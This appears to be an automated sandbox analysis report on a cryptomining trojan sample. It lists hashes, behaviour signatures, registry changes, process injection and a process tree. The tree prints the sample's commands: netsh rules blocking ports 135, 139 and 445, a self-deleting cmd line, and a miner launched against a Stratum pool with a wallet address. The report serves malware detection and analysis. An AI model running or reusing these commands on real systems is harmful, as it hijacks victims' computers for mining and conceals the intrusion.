Analysis
- max time kernel
25s - max time network
151s - platform
windows7_x64 - resource
win7v20201028 - submitted
28/11/2020, 12:45
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe
- Size 2.0MB
- Sample201128-xvddbmgbej
- SHA256 9f13e6628458992b3e633cd3f51e876e7146ed4ce06074ff9ab394cc248d7982
- MD5 5d2e9716be941d7c77c05947390de736
- SHA1 686f0089050e1013ffd80d81193b6f992b471c34
- SHA512 7c327c47d583b06ba97529ec6fde38ee7b44e55320fae836203fcb5f6d2b71f1c86ea690f0fce5099502fbf28a93a3d9f6800a29cbeb40c745c02c38c712c63d
- MD5 SHA1 SHA512
Score
9/10
Malware Config
Signatures
- Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
- Executes dropped EXE 1 IoCs
pid Process 1644 wudfhosts.exe - Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral1/files/0x00040000000130d2-27.dat upx behavioral1/files/0x00040000000130d2-28.dat upx behavioral1/memory/1472-29-0x0000000001E10000-0x0000000001E21000-memory.dmp upx behavioral1/files/0x00040000000130d2-32.dat upx - Deletes itself 1 IoCs
pid Process 272 cmd.exe - Loads dropped DLL 2 IoCs
pid Process 572 svchost.exe 1472 svchost.exe - Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat svchost.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Update[1].txt svchost.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 572 set thread context of 1472 572 svchost.exe 54 - Drops file in Windows directory 5 IoCs
description ioc Process File created C:\Windows\Cursors\WUDFhosts.exe SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe File created C:\Windows\Help\active_desktop_render_New.dll svchost.exe File opened for modification C:\Windows\Help\active_desktop_render.dll svchost.exe File created C:\Windows\Help\active_desktop_render.dll SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe File opened for modification C:\Windows\Cursors\WUDFhosts.exe SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe - Modifies data under HKEY_USERS 24 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD} svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadDecisionReason = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\32-e2-17-db-d2-77 svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionTime = e09801d384c5d601 svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a070043000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecision = "0" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadNetworkName = "Network" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77 svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadDecision = "0" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionReason = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadDecisionTime = e09801d384c5d601 svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1472 svchost.exe 1472 svchost.exe 1472 svchost.exe 1472 svchost.exe 1472 svchost.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeRestorePrivilege 1472 svchost.exe Token: SeBackupPrivilege 1472 svchost.exe Token: SeSecurityPrivilege 1472 svchost.exe Token: SeTakeOwnershipPrivilege 1472 svchost.exe Token: SeLockMemoryPrivilege 1644 wudfhosts.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 1472 svchost.exe 1472 svchost.exe - Suspicious use of WriteProcessMemory 63 IoCs
description pid Process procid_target PID 292 wrote to memory of 1528 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 26 PID 292 wrote to memory of 1528 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 26 PID 292 wrote to memory of 1528 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 26 PID 292 wrote to memory of 1528 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 26 PID 292 wrote to memory of 1200 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 28 PID 292 wrote to memory of 1200 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 28 PID 292 wrote to memory of 1200 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 28 PID 292 wrote to memory of 1200 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 28 PID 292 wrote to memory of 1752 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 30 PID 292 wrote to memory of 1752 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 30 PID 292 wrote to memory of 1752 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 30 PID 292 wrote to memory of 1752 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 30 PID 292 wrote to memory of 1540 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 33 PID 292 wrote to memory of 1540 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 33 PID 292 wrote to memory of 1540 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 33 PID 292 wrote to memory of 1540 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 33 PID 292 wrote to memory of 276 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 37 PID 292 wrote to memory of 276 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 37 PID 292 wrote to memory of 276 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 37 PID 292 wrote to memory of 276 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 37 PID 292 wrote to memory of 744 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 39 PID 292 wrote to memory of 744 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 39 PID 292 wrote to memory of 744 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 39 PID 292 wrote to memory of 744 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 39 PID 292 wrote to memory of 748 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 41 PID 292 wrote to memory of 748 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 41 PID 292 wrote to memory of 748 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 41 PID 292 wrote to memory of 748 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 41 PID 292 wrote to memory of 916 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 43 PID 292 wrote to memory of 916 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 43 PID 292 wrote to memory of 916 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 43 PID 292 wrote to memory of 916 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 43 PID 292 wrote to memory of 1624 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 45 PID 292 wrote to memory of 1624 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 45 PID 292 wrote to memory of 1624 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 45 PID 292 wrote to memory of 1624 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 45 PID 292 wrote to memory of 880 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 47 PID 292 wrote to memory of 880 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 47 PID 292 wrote to memory of 880 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 47 PID 292 wrote to memory of 880 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 47 PID 292 wrote to memory of 1228 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 50 PID 292 wrote to memory of 1228 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 50 PID 292 wrote to memory of 1228 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 50 PID 292 wrote to memory of 1228 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 50 PID 292 wrote to memory of 272 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 52 PID 292 wrote to memory of 272 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 52 PID 292 wrote to memory of 272 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 52 PID 292 wrote to memory of 272 292 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 52 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 572 wrote to memory of 1472 572 svchost.exe 54 PID 1472 wrote to memory of 1644 1472 svchost.exe 55 PID 1472 wrote to memory of 1644 1472 svchost.exe 55 PID 1472 wrote to memory of 1644 1472 svchost.exe 55 PID 1472 wrote to memory of 1644 1472 svchost.exe 55
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe"1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Block2⤵PID:1528
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filterlist name=Filter12⤵PID:1200
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:1752
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:1540
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:276
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:744
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:748
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:916
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=FilteraAtion1 action=block2⤵PID:1624
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion12⤵PID:880
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Block assign=y2⤵PID:1228
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe"2⤵
- Deletes itself
PID:272
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k GraphicsPerf_SvcsGroup1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:572 -
C:\Windows\SysWOW64\svchost.exeC:\Windows\system32\svchost.exe2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\Cursors\wudfhosts.exeC:\Windows\Cursors\wudfhosts.exe -o stratum+tcp://pool.usa-138.com:80 -u 4B7yFmYw2qvEtWZDDnZVeY16HHpwTtuYBg6EMn5xdDbM3ggSEnQFDWDHH6cqdEYaPx4iQvAwLNu8NLc21QxDU84GGxZEY7S -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1644
-
-